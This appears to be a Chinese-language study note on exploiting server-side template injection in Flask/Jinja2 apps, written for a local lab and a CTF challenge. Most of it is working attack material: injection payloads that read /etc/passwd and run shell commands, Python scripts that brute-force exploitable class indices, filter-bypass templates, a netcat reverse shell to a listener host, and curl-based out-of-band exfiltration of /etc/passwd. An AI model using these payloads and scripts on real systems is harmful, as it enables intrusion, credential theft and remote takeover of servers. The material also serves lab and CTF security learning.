放心,我会一直陪着你
- 一.知识
- 一.在终端的一些指令
- 1.虚拟环境
- 2.docker容器
- 二.SSTI相关知识介绍
- 1.魔术方法
- 2.python如何执行cmd命令
- 3.SSTI常用注入模块
- (1)文件读取
- (2)内建函数eval执行命令
- (3)os模块执行命令
- (4)importlib类执行命令
- (5)linecache函数执行命令
- (6)subprocess.Popen类执行命令
- 三.绕过过滤
- 1.双大括号
- 2.无回显
- (1)反弹shell
- (2)带外注入(做不了×)
- (3)纯盲注
- 四.实例
- 1.eval
- 二.实例
一.知识
一.在终端的一些指令
1.虚拟环境
进入虚拟环境flask1
cd /opt/flask1
source ./bin/activate
退出虚拟环境
deactivate
2.docker容器
自动检测
sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'
查看所有容器
docker ps -a
关闭容器
docker stop <CONTAINER ID>
开启容器
docker start <CONTAINER ID>
更多命令:Docker常用命令之容器命令
二.SSTI相关知识介绍
${7*7}
a{*comment*}b
${"z".join("ab")}
{{7*7}}
{{7*'7'}}
1.魔术方法
__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量
2.python如何执行cmd命令
python如何执行cmd命令
3.SSTI常用注入模块
(1)文件读取
①查找子类
_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
②找第几个时的python脚本:
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if '_frozen_importlib_external.FileLoader'in response.text:
print(i)
except:
pass
③读取
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
(2)内建函数eval执行命令
①内建函数:python在执行脚本时自动加载的函数
看是否有eval
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}
②python脚本查看可利用内建函数eval的模块
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'eval' in response.text:
print(i)
except :
pass
③执行
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
__builtins__提供对Python的所有"内置"标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)
(3)os模块执行命令
①Flask自带的函数和对象
显示当前flask有哪些函数和对象
{{self.__dict__._TemplateReference__context.keys()}}
—————————————
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{url_for.__globals__.os.popen('ls').read()}}
{{lipsum.__globals__.os.popen('ls').read()}}
②python脚本查找已经加载os模块的子类
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'os.py' in response.text:
print(i)
except :
pass
————————————
name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}
(4)importlib类执行命令
可以加载第三方库,使用load_module加载os
① python脚本查找_frozen_importlib.Builtinlmporter
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if '_frozen_importlib.BuiltinImporter' in response.text:
print(i)
except :
pass
②执行
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}
(5)linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.
①python脚本查找linecache
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'linecache' in response.text:
print(i)
except :
pass
②执行
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}
(6)subprocess.Popen类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.
subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.
① python脚本查找subprocess.Popen
import requests
url =input('请输入URL链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code== 200:
if 'subprocess.Popen' in response.text:
print(i)
except :
pass
②执行
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}
三.绕过过滤
1.双大括号
①判断是否有
{% if "".__class__ %}Benben{% endif %}
②检测是否有popen
import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
try:
data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
response = requests.post(url,data=data)
if response.status_code== 200:
if "Benben" in response.text:
print(i,"--->",data)
break
except :
pass
③执行(解决无回:print)
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}
2.无回显
(1)反弹shell
没有回显,
直接使用脚本批量执行希望执行的命令.
import requests
url ="http://192.168.0.226:18080/flasklab/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
response = requests.post(url,data=data)
except :
pass
for i in range循环执行
当遇到包含popen的子类时,
直接执行netcat 192.168.1.161 7777 -e/bin/bash
监听主机收到反弹shell进入对方命令行界面
(2)带外注入(做不了×)
此处使用wget方法来带外想要知道的内容
也可以用dnslog或者nc
import requests
url ="http://192.168.0.226:18080/flasklab/level/3"
for i in range(300):
try:
data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
response = requests.post(url,data=data)
except :
pass
同时kali开启一个python http监听
python3 -m http.server 80
(3)纯盲注
四.实例
1.eval
''
""
()
[]
{{''.__class__}}
{{''.__class__.__base__}}
{{''.__class__.__base__.__subclasses__()}}
{{''.__class__.__base__.__subclasses__()[117]}}
{{''.__class__.__base__.__subclasses__()[117].__init__}}
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}
①
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
②
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
二.实例
[HNCTF 2022 WEEK2]ez_SSTI
进来看到
在哪里传参呢?
一般是GET传名为name的参数
测试SSTI注入,{{7*7}}
确认有SSTI注入,继续测,{{7*'7'}}
试试Jinja2模板,成功,以下是两种解题方法
1.Flask自带的函数和对象
先查看当前文件夹,发现了flag文件夹
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
获取flag
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
2.python脚本查找已经加载os模块的子类